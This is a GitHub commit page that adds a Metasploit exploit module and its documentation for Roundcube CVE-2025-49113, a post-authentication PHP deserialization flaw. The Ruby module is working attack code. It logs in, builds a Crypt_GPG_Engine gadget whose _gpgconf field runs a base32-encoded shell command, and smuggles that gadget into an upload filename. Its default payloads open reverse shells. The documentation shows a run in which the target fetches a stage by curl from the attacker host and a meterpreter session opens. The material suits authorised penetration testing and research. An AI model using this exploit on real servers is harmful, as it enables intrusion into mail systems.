Skip to content

Commit f2920f8

Browse files
authored
Land rapid7#20291, adds Roundcube post-authentication RCE (CVE-2025-49113)
Add Remote for Roundсube CVE-2025-49113 post-authentication RCE module
2 parents ac64029 + 582e32c commit f2920f8

File tree

2 files changed

+385
-0
lines changed

2 files changed

+385
-0
lines changed
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
## Vulnerable Application
2+
This module exploits an authenticated remote code execution vulnerability via a file upload
3+
endpoint. The vulnerability stems from improper validation of the uploaded filename, which is
4+
deserialized on the server side without sufficient sanitization. By embedding a PHP serialization
5+
gadget chain in the filename, an attacker can achieve remote code execution.
6+
7+
This issue is tracked as CVE-2025-49113. Exploitation results in code execution as the web server
8+
user.
9+
10+
## Testing
11+
To set up a test environment:
12+
1. Set up an Roundcube.
13+
14+
Create File
15+
`docker-compose.xml`
16+
```
17+
version: '3'
18+
19+
services:
20+
db:
21+
image: mariadb:10.5
22+
restart: always
23+
environment:
24+
MYSQL_ROOT_PASSWORD: example_root_pass
25+
MYSQL_DATABASE: roundcube
26+
MYSQL_USER: roundcube_user
27+
MYSQL_PASSWORD: roundcube_pass
28+
volumes:
29+
- db_data:/var/lib/mysql
30+
31+
roundcube:
32+
image: roundcube/roundcubemail:1.5.9-apache
33+
depends_on:
34+
- db
35+
ports:
36+
- "8080:80"
37+
environment:
38+
ROUNDCUBEMAIL_DEFAULT_HOST: <ROUNDCUBEMAIL_DEFAULT_HOST>
39+
ROUNDCUBEMAIL_SMTP_SERVER: <ROUNDCUBEMAIL_SMTP_SERVER>
40+
ROUNDCUBEMAIL_SMTP_PORT: 587
41+
ROUNDCUBEMAIL_SMTP_USER: <ROUNDCUBEMAIL_SMTP_USER>
42+
ROUNDCUBEMAIL_SMTP_PASS: <ROUNDCUBEMAIL_SMTP_PASS>
43+
ROUNDCUBEMAIL_DES_KEY: randomstring
44+
ROUNDCUBEMAIL_DB_TYPE: mysql
45+
ROUNDCUBEMAIL_DB_HOST: db
46+
ROUNDCUBEMAIL_DB_USER: roundcube_user
47+
ROUNDCUBEMAIL_DB_PASSWORD: roundcube_pass
48+
ROUNDCUBEMAIL_DB_NAME: roundcube
49+
50+
volumes:
51+
db_data:
52+
```
53+
54+
Execute
55+
56+
`docker compose up`
57+
58+
2. Configure basic networking and confirm that the web service on port 8080 is reachable.
59+
3. Follow the verification steps below.
60+
61+
## Options
62+
No custom options exist for this module.
63+
64+
## Verification Steps
65+
1. Start msfconsole
66+
2. `use exploit/multi/http/roundcube_unauth_rce_cve_2025_49113`
67+
3. `set RHOSTS <TARGET_IP_ADDRESS>`
68+
4. `set RPORT <TARGET_PORT>`
69+
5. `set LHOST <LOCAL_IP>`
70+
6. `set LPORT <LOCAL_PORT>`
71+
7. `set USERNAME <USERNAME_TO_LOGIN_WITH>`
72+
8. `set PASSWORD <PASSWORD_TO_LOGIN_WITH>`
73+
9. `run`
74+
75+
## Scenarios
76+
### Roundcube Linux Target
77+
```
78+
msf6 exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > show options
79+
80+
Module options (exploit/multi/http/roundcube_unauth_rce_cve_2025_49113):
81+
82+
Name Current Setting Required Description
83+
---- --------------- -------- -----------
84+
HOST no The hostname of Roundcube server
85+
PASSWORD yes Password to login with
86+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
87+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
88+
RPORT 9999 yes The target port (TCP)
89+
SSL false no Negotiate SSL/TLS for outgoing connections
90+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
91+
TARGETURI / yes The URI of the Roundcube Application
92+
TIMEOUT 3 no Time to wait for session (in seconds)
93+
URIPATH no The URI to use for this exploit (default is random)
94+
USERNAME yes Email User to login with
95+
VHOST no HTTP server virtual host
96+
97+
98+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
99+
100+
Name Current Setting Required Description
101+
---- --------------- -------- -----------
102+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
103+
SRVPORT 8080 yes The local port to listen on.
104+
105+
106+
Payload options (linux/x64/meterpreter/reverse_tcp):
107+
108+
Name Current Setting Required Description
109+
---- --------------- -------- -----------
110+
LHOST yes The listen address (an interface may be specified)
111+
LPORT 4444 yes The listen port
112+
113+
114+
Exploit target:
115+
116+
Id Name
117+
-- ----
118+
0 Linux
119+
120+
msf6 exploit(multi/http/roundcube_unauth_rce_cve_2025_49113) > exploit
121+
122+
[*] Started reverse TCP handler on 192.168.159.129:8082
123+
[*] Using URL: http://192.168.159.129:9696/
124+
[*] Fetching CSRF token...
125+
[*] Attempting login...
126+
[+] Login successful.
127+
[*] Preparing payload...
128+
[+] Payload successfully generated and serialized.
129+
[*] Uploading malicious payload...
130+
[*] Client 192.168.181.148 (curl/7.74.0) requested /
131+
[*] Sending payload to 192.168.181.148 (curl/7.74.0)
132+
[*] Sending stage (3045380 bytes) to 192.168.181.148
133+
[*] Meterpreter session 1 opened (192.168.159.129:8082 -> 192.168.181.148:56528) at 2025-06-06 21:05:59 -0400
134+
[+] Exploit attempt complete. Check for session.
135+
[*] Server stopped.
136+
137+
meterpreter > getuid
138+
Server username: www-data
139+
140+
meterpreter > sysinfo
141+
Computer : dante.local
142+
OS : Debian 11.5 (Linux 6.11.2-amd64)
143+
Architecture : x64
144+
BuildTuple : x86_64-linux-musl
145+
Meterpreter : x64/linux
146+
147+
```
Lines changed: 238 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,238 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
include Msf::Exploit::CmdStager
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
19+
'Description' => %q{
20+
Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
21+
by authenticated users because the _from parameter in a URL is not validated
22+
in program/actions/settings/upload.php, leading to PHP Object Deserialization.
23+
24+
An attacker can execute arbitrary system commands as the web server.
25+
},
26+
'Author' => [
27+
'Maksim Rogov', # msf module
28+
'Kirill Firsov', # disclosure and original exploit
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['CVE', '2025-49113'],
33+
['URL', 'https://fearsoff.org/research/roundcube']
34+
],
35+
'DisclosureDate' => '2025-06-02',
36+
'Notes' => {
37+
'Stability' => [CRASH_SAFE],
38+
'SideEffects' => [IOC_IN_LOGS],
39+
'Reliability' => [REPEATABLE_SESSION]
40+
},
41+
'Platform' => ['unix', 'linux'],
42+
'Targets' => [
43+
[
44+
'Linux Dropper',
45+
{
46+
'Platform' => 'linux',
47+
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
48+
'Type' => :linux_dropper,
49+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
50+
}
51+
],
52+
[
53+
'Linux Command',
54+
{
55+
'Platform' => ['unix', 'linux'],
56+
'Arch' => [ARCH_CMD],
57+
'Type' => :nix_cmd,
58+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
59+
}
60+
]
61+
],
62+
'DefaultTarget' => 0
63+
)
64+
)
65+
66+
register_options(
67+
[
68+
OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
69+
OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
70+
OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
71+
OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
72+
]
73+
)
74+
end
75+
76+
class PhpPayloadBuilder
77+
def initialize(command)
78+
@encoded = Rex::Text.encode_base32(command)
79+
@gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
80+
end
81+
82+
def build
83+
len = @gpgconf.bytesize
84+
%(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
85+
end
86+
end
87+
88+
def fetch_login_page
89+
res = send_request_cgi(
90+
'uri' => normalize_uri(target_uri.path),
91+
'method' => 'GET',
92+
'keep_cookies' => true,
93+
'vars_get' => { '_task' => 'login' }
94+
)
95+
96+
fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
97+
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
98+
res
99+
end
100+
101+
def check
102+
res = fetch_login_page
103+
104+
unless res.body =~ /"rcversion"\s*:\s*(\d+)/
105+
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
106+
end
107+
108+
version = Rex::Version.new(Regexp.last_match(1).to_s)
109+
print_good("Extracted version: #{version}")
110+
111+
if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
112+
return CheckCode::Appears
113+
elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
114+
return CheckCode::Appears
115+
end
116+
117+
CheckCode::Safe
118+
end
119+
120+
def build_serialized_payload
121+
print_status('Preparing payload...')
122+
123+
stager = case target['Type']
124+
when :nix_cmd
125+
payload.encoded
126+
when :linux_dropper
127+
generate_cmdstager.join(';')
128+
else
129+
fail_with(Failure::BadConfig, 'Unsupported target type')
130+
end
131+
132+
serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
133+
print_good('Payload successfully generated and serialized.')
134+
serialized
135+
end
136+
137+
def exploit
138+
token = fetch_csrf_token
139+
login(token)
140+
141+
payload_serialized = build_serialized_payload
142+
upload_payload(payload_serialized)
143+
end
144+
145+
def fetch_csrf_token
146+
print_status('Fetching CSRF token...')
147+
148+
res = fetch_login_page
149+
html = res.get_html_document
150+
151+
token_input = html.at('input[name="_token"]')
152+
unless token_input
153+
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
154+
end
155+
156+
token = token_input.attributes.fetch('value', nil)
157+
if token.blank?
158+
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
159+
end
160+
161+
print_good("Extracted token: #{token}")
162+
token
163+
end
164+
165+
def login(token)
166+
print_status('Attempting login...')
167+
vars_post = {
168+
'_token' => token,
169+
'_task' => 'login',
170+
'_action' => 'login',
171+
'_url' => '_task=login',
172+
'_user' => datastore['USERNAME'],
173+
'_pass' => datastore['PASSWORD']
174+
}
175+
176+
vars_post['_host'] = datastore['HOST'] if datastore['HOST']
177+
178+
res = send_request_cgi(
179+
'uri' => normalize_uri(target_uri.path),
180+
'method' => 'POST',
181+
'keep_cookies' => true,
182+
'vars_post' => vars_post,
183+
'vars_get' => { '_task' => 'login' }
184+
)
185+
186+
fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
187+
fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302
188+
189+
print_good('Login successful.')
190+
end
191+
192+
def generate_from
193+
options = [
194+
'compose',
195+
'reply',
196+
'import',
197+
'settings',
198+
'folders',
199+
'identity'
200+
]
201+
options.sample
202+
end
203+
204+
def generate_id
205+
random_data = SecureRandom.random_bytes(8)
206+
timestamp = Time.now.to_f.to_s
207+
Digest::MD5.hexdigest(random_data + timestamp)
208+
end
209+
210+
def generate_uploadid
211+
millis = (Time.now.to_f * 1000).to_i
212+
"upload#{millis}"
213+
end
214+
215+
def upload_payload(payload_filename)
216+
print_status('Uploading malicious payload...')
217+
218+
# 1x1 transparent pixel image
219+
png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
220+
boundary = Rex::Text.rand_text_alphanumeric(8)
221+
222+
data = ''
223+
data << "--#{boundary}\r\n"
224+
data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
225+
data << "Content-Type: image/png\r\n\r\n"
226+
data << png_data
227+
data << "\r\n--#{boundary}--\r\n"
228+
229+
send_request_cgi({
230+
'method' => 'POST',
231+
'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
232+
'ctype' => "multipart/form-data; boundary=#{boundary}",
233+
'data' => data
234+
})
235+
236+
print_good('Exploit attempt complete. Check for session.')
237+
end
238+
end

0 commit comments

Comments
 (0)